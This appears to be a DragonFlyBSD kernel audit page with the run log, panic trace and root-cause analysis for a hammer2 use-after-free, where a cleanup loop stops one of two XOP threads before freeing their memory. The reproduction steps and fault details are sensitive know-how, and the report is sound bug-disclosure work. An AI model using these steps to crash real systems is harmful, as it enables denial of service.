โฌข DragonFlyBSD Kernel Audit
DF-0823 / run.log
โ† back to finding โ†“ download raw
=== DF-0823 trigger run on unpatched baseline ===
Kernel: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026
Command: /root/trigger.sh  (as root)

[*] Creating hammer2 images...
268435456 bytes transferred in 0.388305 secs (691300949 bytes/sec)
268435456 bytes transferred in 0.375797 secs (714310021 bytes/sec)
[*] newfs_hammer2 both devices...
    fsid 82cb8416-78f1-11f1-8392-010000000000
    fsid 82cddd47-78f1-11f1-8392-010000000000
[*] Creating MASTER PFS 'testpfs' on /dev/vn0...
hammer2: pfs_create(testpfs): SUCCESS
[*] MASTER PFS mounted at /mnt/test
[*] MASTER clid: 82dddd1f-78f1-11f1-8392-010000000000
[*] Creating SLAVE PFS 'testpfs' on /dev/vn1 with matching clid...
hammer2: pfs_create(testpfs): SUCCESS
[*] Device B PFS list:
[*] Triggering I/O to spin up XOP threads...
[*] Unmounting device B @DATA (SLAVE chain stays in PMP)...
[*] Unmounting cluster PFS (triggers cleanup loop mismatch)...
[*] BUG: cleanup stops thread[0] only, kfree's xop_groups, thread[1] orphaned
[!] Umount complete.  Waiting for orphan thread to access freed heap...
[!] On BUGGY kernel: expect fatal trap 12 page fault within ~10s.
<<< SSH CONNECTION LOST โ€” kernel panicked >>>

=== Serial console (dfbsd-qemu/boot.log) โ€” kernel trace preceding panic ===
hammer2_mount: devstr="/dev/vn0@DATA"
hammer2_mount: hmp=0xfffff80118460000 pmp=0xfffff80118c40000
ADD LOCAL PFS (IOCTL): testpfs                           โ† MASTER testpfs created on vn0
hammer2_mount: devstr="/dev/vn0@testpfs"
hammer2_mount: hmp=0xfffff80118460000 matched
hammer2_mount: hmp=0xfffff80118460000 pmp=0xfffff801197e4000   โ† testpfs PMP (nchains=1)
hammer2_mount: devstr="/dev/vn1@DATA"
hammer2_mount: hmp=0xfffff80119dac000 pmp=0xfffff8011a540000
ADD LOCAL PFS (IOCTL): testpfs                           โ† SLAVE testpfs found โ†’ added to PMP (nchains=2)

<<< umount /mnt/h2b (vn1@DATA) โ€” mount_count > 0, pfsfree_scan skipped >>>
<<< umount /mnt/test (vn0@testpfs) โ€” hammer2_xop_helper_cleanup: stops thread[0] only,
    kfree(xop_groups) frees backing memory.  Orphan thread[1] (SLAVE) running on freed heap. >>>

Fatal trap 12: page fault while in kernel mode
cpuid = 1; lapic id = 1
fault virtual address    = 0xfffff8011a1d5558
fault code               = supervisor write data, page not present
instruction pointer      = 0x8:0xffffffff8095da89
current process          = Idle
current thread           = pri 12 (CRIT)

Stopped at      hammer2_primary_xops_thread+0x2d9:      lock xaddl      %edx,0x81558(%rsi)
db>

=== Analysis ===
The faulting instruction `lock xaddl %edx,0x81558(%rsi)` is an atomic add
within hammer2_primary_xops_thread.  %rsi points to the PMP base
(0xfffff8011a154000 in the first run), and 0x81558 is the offset to the
orphaned thread[1]'s fields within the freed xop_groups slab.
The page at that address was freed by kfree(xop_groups) and unmapped,
causing the page-not-present fault.

This is a textbook use-after-free: the cleanup loop at hammer2_admin.c:461
iterates pfs_nmasters (count of MASTER chains only = 1) while the create
loop at :437 iterates cluster.nchains (= 2).  The SLAVE-indexed thread[1]
is never stopped before kfree(xop_groups) at :468 frees its backing memory.